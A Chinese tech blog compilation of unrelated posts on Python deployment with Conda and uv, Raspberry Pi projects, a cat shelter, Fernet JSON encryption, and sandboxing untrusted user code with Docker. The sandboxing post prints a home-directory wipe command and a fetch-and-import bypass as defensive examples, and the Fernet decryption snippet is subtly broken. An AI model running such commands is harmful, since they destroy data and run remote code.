分类： 部署

2025年流行的Python部署

传统的真机Python+pip部署方式早已被淘汰了。

而venv虚拟部署的方式还有很多人在用，也确实比传统真机部署好很多，但也再被渐渐淘汰。

目前较为流行的一种模式是：Conda+UV的组合方式。

conda：核心是环境管理工具，负责创建隔离的虚拟环境（可包含不同 Python 版本、系统级依赖甚至非 Python 包，如 C 库）。

uv：核心是Python 包管理器，专注于快速安装 / 管理 Python 包（类似 pip，但速度更快、依赖解析更高效），本身不管理环境，而是依赖于当前激活的 Python 环境。

建议在激活 conda 环境后安装 uv，避免全局安装导致的环境混淆。

pip install uv

uv的使用例子：

uv pip install transformers==4.24.0  # 安装指定版本
uv pip uninstall jieba  # 卸载包
uv sync  # 同步依赖（根据 pyproject.toml 或 requirements.txt）

注意事项（避免潜在问题）：

1、不混用 conda 和 uv 安装同一 Python 包

例如，不要用 conda install pandas 后再用 uv pip install pandas，可能导致版本冲突（conda 和 pip/uv 管理的包路径虽然一致，但依赖解析逻辑不同）。

  • 优先用 uv 管理纯 Python 包（如 transformers、jieba）；
  • 用 conda 管理含系统依赖的包（如 numpy、opencv，conda 会自动安装对应的 C 库）。

2、uv 不处理非 Python 依赖

uv 仅负责 Python 包，若包依赖系统级库（如 libssl、libffi），仍需通过 conda 或系统包管理器（apt）安装：

# 例如安装需要系统库的包，先用 conda 安装依赖 conda install -c conda-forge libsndfile # 安装音频处理的系统库 uv pip install soundfile # 再用 uv 安装依赖该库的 Python 包

3、环境迁移时需同步两者的配置

若要复制 conda 环境，除了用 conda env export，还需同步 uv/pip 管理的包（通过 uv pip freeze > requirements.txt 导出）。

总结

uv 和 conda 是互补工具：conda 负责环境隔离和系统级依赖，uv 负责高效管理 Python 包，在 conda 环境中使用 uv 不仅安全，还能显著提升包安装速度，推荐结合使用。

国内使用建议：

/.config/uv/uv.toml
index-url = “https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple”

另外，uv也是可以直接运行py文件的。如图所示。

用树莓派Pico和镍铬丝制作电烙铁

1. 硬件准备

  • 树莓派Pico： 作为控制核心。
  • 镍铬丝： 作为加热元件。
  • MOSFET（如IRF520）： 用于控制镍铬丝的电流。
  • 电阻（如220Ω）： 用于限制Pico GPIO引脚的电流。
  • 电源： 提供足够的电流和电压。
  • 导线： 耐高温导线。
  • 烙铁头（可选）： 可以将铜丝弯曲成烙铁头形状。
  • 隔热材料： 用于包裹镍铬丝，防止烫伤。

2. 硬件连接

  • 将镍铬丝连接到MOSFET的漏极（Drain）。
  • 将MOSFET的源极（Source）连接到GND。
  • 将树莓派Pico的GPIO引脚（例如GPIO15）通过电阻连接到MOSFET的栅极（Gate）。
  • 连接电源到镍铬丝和MOSFET。
  • 将隔热材料包裹在镍铬丝周围。

3. MicroPython编程

  • Thonny IDE： 推荐使用Thonny IDE，方便编写和上传MicroPython代码。
  • GPIO控制： 使用MicroPython的machine库，控制GPIO引脚输出高低电平，控制MOSFET的导通和截止。

示例代码：

from machine import Pin
import time

fire_pin = Pin(15, Pin.OUT)  # 点火引脚，连接到MOSFET栅极

def fire():
    fire_pin.value(1)  # 开启加热
    print("Heating...")

def stop_fire():
    fire_pin.value(0) # 关闭加热
    print("Stop Heating.")

while True:
    input_value = input("Enter '1' to heat, '0' to stop: ")
    if input_value == '1':
        fire()
    elif input_value == '0':
        stop_fire()
    else:
        print("Invalid input.")

4. 安全注意事项

  • 高温风险： 镍铬丝工作时会产生高温，务必小心操作，防止烫伤。
  • 电路安全： 大电流电路存在风险，务必小心操作。
  • 防火措施： 准备灭火器材，防止火灾发生。
  • 测试验证： 在实际焊接前，进行充分的测试验证。
  • 警告：
    • 电烙铁具有一定的危险性，请在安全的环境下操作。
    • 制作和使用电烙铁时，务必遵守相关安全规范。
    • 如果对于电子电路不是十分了解，请勿自行制作。请寻找专业人员的帮助。

5. 补充说明

  • 根据镍铬丝的电阻和电源电压，选择合适的MOSFET。
  • 可以添加温度传感器和PID控制算法，实现温度控制功能。
  • 关于烙铁头的制作:
    • 可以找一段粗的铜丝，然后用锤子敲打铜丝的一端，敲打成扁平状，然后打磨成自己需要的烙铁头形状。
    • 铜具有非常优秀的导热性，所以铜是制作烙铁头的优秀材料。

江浙沪猫窝设计概要

最近弄了一个室外的猫窝，理解了猫科动物对于卧室的要求。

猫的特点：敏感、警惕性高、爱干净、不喜潮湿、不喜光线直射、怕吵、怕冻、喜欢纸盒。

江浙沪特点：多雨潮湿、夏热冬冷、蛇虫鼠蚁多。

对应猫窝要点：结构简单牢固、防雨防晒、排水良好、透气性好、隐蔽性好、安全性高。

于是，我找了个餐厅用的304不锈钢大桶作为基础。灵感来自集装箱做的房子。

第一个版本的猫窝，没有特别布置，只在里面加上硬纸板。结果位置较低，下雨后里面进水，猫弹射跑路。（失败）

第二个版本，将大桶下方垫上两砖的高度，门口加矮墙。结果只能防小雨，雨一大，还是进水。猫坚持了五分钟，雨一大马上弹射跑路。（失败）

第三个版本，在桶内加垫料，增加床（大纸盒）的高度，床下留出排水通道。同时增加纵深，免得离门口太近。纸盒底部用透明塑料带加一隔水层。最后外面再挂一块布做门帘，遮阳加挡雨。（成功）

终于，大雨倾盆也不怕了。外面暴雨，它在里面踏实躺着梳理毛发。

Json文件的加解密

HTTPS可以防止传输过程中数据被偷看，但无法阻止客户端本地的攻击。比如Json之类的文件，如果完全明文，可能会让一些黑客看到敏感信息。

是否可以对其进行一层简单的加密？

以Python为例子，用一个加密库就可以。

首先执行：pip install cryptography

然后开始编写如下代码。

from cryptography.fernet import Fernet
import json

# 生成密钥
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# JSON 数据
data = {
    "name": "Alice",
    "age": 30,
    "city": "Wonderland"
}

# 将 JSON 数据转换为字符串
json_data = json.dumps(data)

# 加密 JSON 数据
encrypted_data = cipher_suite.encrypt(json_data.encode())

print("加密后的数据:", encrypted_data)
print("密钥:", key)

它会输出：

加密后的数据: b’gAAAAABmraTSlRWANyVFWRKm4CgjpoJEhyLID-ri64K3RP2yItbM-4POPid1dVh_1mWVItoSzZy-bPC_pObCCDUJ-ktuxWbi5zAcSn8VDrTiYiyqwXWvygLcBHmwToapDEDoqA6RjHQs_WeOCKAZqPnge5Q-J4xNpw==’
密钥: b’MvHuTCwAj3SNz93MZtI_1Ww_tHn9XVUFxyARGyGLTxQ=’

要解密的时候怎么办呢？

from cryptography.fernet import Fernet
import json
daa = b'gAAAAABmraTSlRWANyVFWRKm4CgjpoJEhyLID-ri64K3RP2yItbM-4POPid1dVh_1mWVItoSzZy-bPC_pObCCDUJ-ktuxWbi5zAcSn8VDrTiYiyqwXWvygLcBHmwToapDEDoqA6RjHQs_WeOCKAZqPnge5Q-J4xNpw=='
key = b'MvHuTCwAj3SNz93MZtI_1Ww_tHn9XVUFxyARGyGLTxQ='
decrypted_data = cipher_suite.decrypt(daa).decode()
json_data = json.loads(decrypted_data)
print(json_data)

它会输出：
{‘name’: ‘Alice’, ‘age’: 30, ‘city’: ‘Wonderland’}

以上代码使用了 Fernet 加密算法，这是对称加密的一种实现。Fernet 是一种基于 AES（高级加密标准） 的加密方案，具体来说，它使用 AES-128 在 CBC（密码分组链接）模式 下进行加密，并结合 PKCS7 填充 和 HMAC（基于哈希的消息认证码） 来确保数据的完整性和保密性。

树莓派AI 套件上市，带NPU售价 70 美元

如果你曾经想在 Raspberry Pi 5 上尝试神经网络、人工智能和机器学习的世界，树莓派这次推出了官方AI 套件。该 AI 套件是与 Hailo 合作开发的，它可将本地高效的推理能力，集成到各种应用程序中。现已上架 Raspberry Pi 的经销商网络，价格 70 美元。

Raspberry Pi AI 套件拆解

Raspberry Pi AI 套件包括我们的 M.2 HAT+ 和 Hailo-8L AI 加速器模块。AI 套件安装在 Raspberry Pi 5 上，可让你快速构建复杂的 AI 视觉应用程序，实时运行。具有低延迟和低功耗要求。用于对象检测、语义和实例分割、姿态估计和面部识别（仅举几例）的先进神经网络完全在 Hailo-8L 协处理器上运行，使 Raspberry Pi 5 CPU 可以自由地执行其它任务。

Raspberry Pi AI 套件的主要功能包括：

  • 每秒 13 万亿次运算 (TOPS) 的推理性能
  • 以 8Gbps 运行的单通道 PCIe 3.0 连接
  • 与 Raspberry Pi 图像软件子系统完全集成
  • 与第一方或第三方相机的兼容性
  • 加速器硬件的高效调度：在单个摄像头上运行多个神经网络，或者同时在两个摄像头上运行单个 / 多个神经网络

搭载AI Kit的树莓派5

Hailo创建了一个庞大的模型库，用户可以在这里找到各种各样的预训练神经网络模型，可以在AI Kit上部署和优化。

地址：

https://github.com/hailo-ai/hailo_model_zoo/tree/master/docs/public_models/HAILO8L

软件方面

最新版本的 Raspberry Pi OS 会自动检测 Hailo 模块，因此操作系统和利用该模块的应用程序可以立即使用它。rpicam-apps 套件现在有一个后处理模板，用于在摄像头管道中集成实时运行的神经网络推理。

“通过使用预安装的 Hailo Tappas 后处理库，仅几百行 C++ 代码就能创建基于 AI 的高级应用程序。类似级别的集成到我们的 Picamera2 框架中很快就会实现。”

除了可以在 rpicam-apps 或 Picamera2 中使用 Hailo-8L 协处理器外。Raspberry Pi AI Kit 中还打包了集成在 GStreamer 框架和本地 Python 或 C/C++ 应用程序中的 API。包括非摄像机用例，例如在预先录制的视频文件上运行推理。

近看Hailo模块

软件安装步骤非常简单。通过apt安装几个软件包，重新启动，你就可以在几分钟内尝试我们的一些AI演示。完整的说明可以在我们的入门指南中找到。下面是我们的一些演示的预览，你可以通过rpicam-apps运行。

详细步骤：

https://www.raspberrypi.com/documentation/accessories/ai-kit.html#getting-started

有了树莓派AI Kit，你不但可以在picam-apps或Picamera2中使用Hailo-8L协处理器。树莓派还打包了一个集成在GStreamer框架和本地Python或C/C++应用程序中的API。这包括非相机用例，例如在预先录制的视频文件上运行推理。

用树莓派Pico W创建自己的Slack机器人

原作：Sandeep Mistry 

编译：IoT前哨站

Slack是一款在线协作软件，可以让你与团队成员进行聊天、文件传送、语音/视频通话等功能。Slack还可以整合多种工具和服务，如电子邮件、Google Drives、Twitter、Trello等，以提高工作效率和自动化任务。Slack是世界各地公司和个人的首选平台，拥有超过20万付费客户和77个财富100强企业的使用者。它有App方便大家在手机或平板电脑上使用。

这次要实现的树莓派Pico W远程控制机器人，简单来说，就是我们在手机上用Slack发消息，指挥Pico W帮我们干活。

Slack 的 chat.postMessage API 可将消息从开发板发送到 Slack 频道。Slack 为应用和机器人提供了一个事件 API，用于响应 Slack 上的活动。由于开发板不能从公共互联网直接访问，因此无法使用公共 HTTP webhook。我们必须使用Slack 的Socket Mode。Socket Mode使应用和机器人能够使用动态的WebSocket 接收事件。动态套接字连接的URL可以通过Slack的apps.connections.open API获取。

Pico W与Slack API 接收事件和发送消息的通信机制：

要完成上述操作，你必须先有Slack令牌。

配置 Slack

在 Web 浏览器中，访问 https://api.slack.com/apps 并使用您的 Slack 凭据登录。单击“创建新应用”按钮。

单击“从头开始”选项。

输入应用程序的名称（例如“Pico W”），为应用程序选择一个工作区，然后单击“创建应用程序”按钮。

单击左侧的“Socket Mode”部分，然后单击切换到“启用Socket Mode”。


输入应用级令牌的“Token Name”，例如“Pico W app”，然后单击“生成”按钮。

生成并显示应用级令牌，复制该值并保存以备将来使用，然后单击“完成”按钮。

单击左侧的“OAuth 和权限”部分，向下滚动到“Scopes”部分，然后单击“添加 OAuth 范围”按钮。

添加“app mention:read”权限。

添加“chat:write”权限。

单击左侧的“事件订阅”部分，然后单击“启用事件”开关。

展开“订阅bot事件”部分并单击“添加bot用户事件”按钮。

选择“app_mention”。

点击右下角的“保存更改”按钮。

点击左侧的“基本信息”部分，然后点击“请求安装”按钮。

填写“简短描述”，选择“背景颜色”，点击“保存更改”按钮

工作区管理员可以批准申请。然后转到“基本信息”部分，单击“安装到工作区”按钮。

安装完成后，单击左侧的“OAuth & Permissions”部分，滚动到“工作区的OAuth Token”部分，然后复制“Bot User OAuth Token”值并保存以供将来参考。

现在你有了一个应用程序级别的令牌值和一个Slack应用程序的Bot用户OAuth令牌值，可以在Raspberry Pi Pico W板上使用。

基于 MicroPython 的 Slack 机器人

MicroPython 为许多基于 Arm Cortex-M 的微控制器提供 Python 3 实现，包括 Raspberry Pi Pico W 板上的 Raspberry Pi RP2040。

Thonny IDE 将用于安装 MicroPython 并将代码上传到 Raspberry Pico W 板。从 Thonny 主页下载适用于您的计算机的操作系统 （OS） 专用版本的 Thonny。在撰写本指南时，Thonny 4.1.2 是最新版本。

用Thonny刷好MicroPython以后，将 GitHub 中的代码下载到计算机上的文件夹。

相关代码：

https://github.com/IoToutpost/example-of-a-slackbot-for-pico-w

打开 Raspberry Pi Pico W 板上的 config.py 文件，填写 Wi-Fi 网络的 SSID 和密码，以及之前配置的 Slack 应用和机器人令牌。

打开树莓派Pi Pico W板上的 main.py 文件，然后按绿色的播放按钮运行应用程序。如果一切配置正确，开发板现在将连接到您的 Wi-Fi 网络，然后连接到 Slack。

基于 C 语言的 Slack 机器人

对于 C 版本，以下库将与 pico-sdk 一起使用：

  • FreeRTOS 内核 – 为网络堆栈提供实时操作系统 （RTOS）
  • lwIP – 用于 TCP/IP 通信
  • Mbed TLS – 用于 TLS 通信
  • coreHTTP – 用于 HTTP 客户端
  • cJSON – 用于解析和序列化 JSON 数据

使用 Raspberry Pi 的 Pico SDK 和所需的工具链设置您的计算机。有关更多信息，请参阅 Raspberry Pi Pico 入门指南。

在终端窗口中，设置 PICO_SDK 环境变量：

export PICO_SDK_PATH=/path/to/pico-sdk

将目录更改为下载示例代码的位置，然后将目录更改为文件夹：pico-sdk

cd path/to/example-of-a-slackbot-for-pico-w

cd pico-sdk

创建一个构建目录，并将目录更改为该目录：

mkdir build

cd build

使用你的 Wi-Fi SSID 和密码以及 Slack 应用和机器人令牌运行，然后运行以编译应用程序：cmakemake

cmake .. -DPICO_BOARD=pico_w -DWIFI_SSID="<WIFI SSID>" -DWIFI_PASSWORD="<Wi-Fi Password" -DSLACK_APP_TOKEN="<Slack App Token>" -DSLACK_BOT_TOKEN="<Slack Bot Token>"

make

按住 Pico 板上的 BOOTSEL 按钮，同时使用 USB 电缆将板插入计算机。

将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘：picow_slack_bot.uf2

按住 Pico 板上的 BOOTSEL 按钮，同时使用 USB 电缆将板插入计算机。

将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘：picow_slack_bot.uf2

cp -a picow_slack_bot.uf2 /Volumes/RPI-RP2/.

使用串行监视器应用程序（如屏幕）查看主板的 USB 串行输出，将 /dev/cu.usbmodem00000000000001 替换为主板的路径：

screen /dev/cu.usbmodem0000000000001

如果一切配置正确，开发板现在将连接到您的 Wi-Fi 网络，然后连接到 Slack。

测试应用程序

在计算机上打开 Slack，并创建一个新的测试频道。在信息输入窗口中输入，然后点按绿色按钮或按回车键发送。@<name of Slack app> LED on

在 Slack 中向 Pico W 发送第一条消息

由于 Pico W 不在频道中，系统将提示您添加它们。点击“邀请他们”按钮。

邀请Raspberry Pi Pico W加入频道

被邀请后，开发板将点亮 LED， 然后回复消息告知状态。您也可以尝试发送消息以关闭 LED。@<name of Slack app> LED off

Raspberry Pi Pico W 在 Slack 中收到指令并回复

结论

本指南介绍了通过Raspberry Pi Pico W上运行MicroPython和C应用程序，来与Slack API发送和接收消息。

示例应用程序代码可以接收并处理消息文本，以控制板载 LED，然后将 LED 的当前状态告知用户。

你可以在自己的Raspberry Pi Pico W上尝试一下，然后在示例代码的基础上构建更多功能，从而将 Slack 扩展到物理世界。

如何安全运行别人上传的Python代码？

作者：kingname

写后端的同学，有时候需要在网站上实现一个功能，让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码，我们第一个想到的问题，就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行，在不做任何安全过滤的情况下，就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单，直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗？

    这种想法乍看起来没有问题，但细想下，就会发现非常天真。如果用户的代码像下面这样写，你又要如何应对？

    import requests
    code = requests.get('https://www.kingname.info/dangerous_code').text
    with open('dangerous_code.py', 'w') as f:
    f.write(code)
    dangerous_module = import('dangerous_code')
    danderous_module.delete_all()

    其中https://www.kingname.info/dangerous_code对应的代码如下：

    import os
def delete_all():
    os.system('rm -rf ~/*')

      这样就可以绕过关键字检查，并成功删除你的文件了。

      如果你的网站本身就是一个爬虫管理平台，你检查用户自定义的代码时，肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

      而且恶意代码不一定是删除你的东西，它完全可以直接把你项目下面的所有代码打包，上传到它指定的URL中，这样就能窃取你网站里面所有代码。

      为了避免这样的情况发生，我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷，独立的环境能确保他即使删除了所有文件，也不会影响到你。

      显然，最简单直接的办法，就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

      首先，确保你的服务器上面已经有Docker，并且正在运行。

      接下来，安装Docker SDK：

      pip install docker

      假设，你把用户上传的文件放在了user/<user_id>/upload文件夹下面。

      那么，首先你需要生成一个Dockerfile，并把这个Dockerfile放到upload文件夹中：

      from python:3.10

run pip install -r requirements.txt
copy . /app
workdir /app

      当用户添加/修改了第三方库时，你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

      接下来，我们开始构建镜像并运行代码：

      import docker
client = docker.from_env()

client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义

container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

      这个代码运行以后是非阻塞的，会立刻返回container对象。当你想查看代码日志时，执行：

      container.logs(tail=10) # 显示最后10行日志

      就可以看到相关的日志了。

      关于Docker SDK的更多操作，可以看他的官方文档：Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

      参考资料

      [1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python

      树莓派Zero做的电子墨水名片

      “你好，我的名字是……”

      人们参加沙龙或者酒会的时候，经常要对别人口述自己的名字和职业。

      如果可以用电子墨水，以像素化的形式显示他们的名字和脸时，相信能节约很多时间。

      创客Josh King做的这个PiE-Ink电子墨水名片，就很有意思。

      在他的Instructables教程中，他解释了完整的方法。

      乔什·金电子墨水名牌树莓派

      对于徽章，Josh使用了Raspberry Pi Zero，PaPiRus 2“电子墨水HAT，Adafruit Powerboost 1000c和LiPo电池。他还用到了其它配件，例如磁铁和粘土。

      Josh把树莓派Zero和Powerboost通过焊接连在一起，并允许LiPo电池为设备供电。

      乔什·金电子墨水名牌树莓派

      然后，他连接PaPiRus HAT并用粘土固定整个装置，以确保紧密贴合。他还加了一个迷你滑动开关。

      乔什·金电子墨水名牌树莓派

      在SD卡上预装Raspbian后，Josh遵循PaPiRus的设置，确保所有库文件都装好，并且让树莓派识别2英寸屏幕。

      然后下载代码，运行……

      注：你可以直接从Josh的GitHub帐户下载相关代码。记得将图像缩小到 200×96 才能使其适合电子墨水屏幕。

      乔什·金电子墨水名牌树莓派

      有了它，你就可以在各种活动和会议上让大家快速认识你了。

      如果你想用树莓派Pico做电子墨水名片的话看这里：

      https://mp.weixin.qq.com/s/Nip6ZB60et0xujLQgNRldw

      树莓派能跑Stable Diffusion了

      Stable Diffusion是一种文本到图像生成的大型深度学习模型，它可以根据文本的描述生成详细的图像，也可以用于其他任务，如图像修复、图像扩展、图像翻译等。

      它是基于潜在扩散模型（Latent Diffusion Model）的一种变体，通过对图像添加和去除噪声来训练和生成图像。

      该模型由Stability AI和LAION联合开发，目前是一个开源的AI平台，有很多用户和开发者贡献了不同的预训练模型和插件。

      一般情况下，跑Stable Diffusion需要的配置：最好是有英伟达（Nvidia）的独立显卡，显存不少于4GB，推荐8GB以上；内存8GB以上，推荐16GB或以上；硬盘40GB以上的可用空间，最好是固态硬盘；操作系统支持Windows 10/11，macOS（仅限Apple Silicon或更新版本），Linux等。

      但最近有人在树莓派Zero 2上运行Stable Diffusion了，而树莓派 Zero 2 只是内存512MB 的单板计算机。

      它的配置和规格如下：

      • 处理器：Broadcom BCM2710A1，四核64位SoC（Arm Cortex-A53 @ 1GHz）
      • 内存：512MB LPDDR2
      • 连接性：2.4GHz IEEE 802.11b/g/n无线局域网，蓝牙4.2，BLE，带天线的屏蔽罩
      • 接口：1 × USB 2.0 OTG接口
      • HAT兼容的40针I/O头插座（未焊接）
      • microSD卡插槽
      • Mini HDMI端口
      • CSI-2摄像头连接器
      • 视频：HDMI接口
      • 复合的视频和复位引脚焊点
      • 多媒体：H.264, MPEG-4解码（1080p30）
      • H.264编码（1080p30）
      • OpenGL ES 1.1, 2.0图形
      • 输入电源：5V DC 2.5A
      • 工作温度：-20°C to +70°C

      Raspberry Pi Zero 2 W的尺寸是65mm × 30mm，与原来的Raspberry Pi Zero一样。它的性能比原来的单核Raspberry Pi Zero提高了五倍。一般用于智能家居、物联网等项目。

      为了让更多低配置的计算机也能用Stable Diffusion出图。

      一个名为vitoplantamura的开发者决定写一个超小的推理库，让260MB内存的单板机也能将Stable Diffusion跑起来。终于，他成功了。

      他用C++开发的OnnxStream，是一个能够在低内存设备上运行 Stable Diffusion 的推理库，它通过分离推理引擎和权重提供器，以及量化等技术，完成了在树莓派 Zero 2 上生成图像的挑战。

      与微软的OnnxStream 相比，vitoplantamura的OnnxStream 只需要消耗 1/55 的内存就可以达到同样的效果，但（在 CPU 上的）速度只比前者慢 0.5-2 倍。

      虽然运行速度较慢，但它却是大模型在更小、更有限的设备上部署的崭新尝试。

      相关源码：

      https://github.com/vitoplantamura/OnnxStream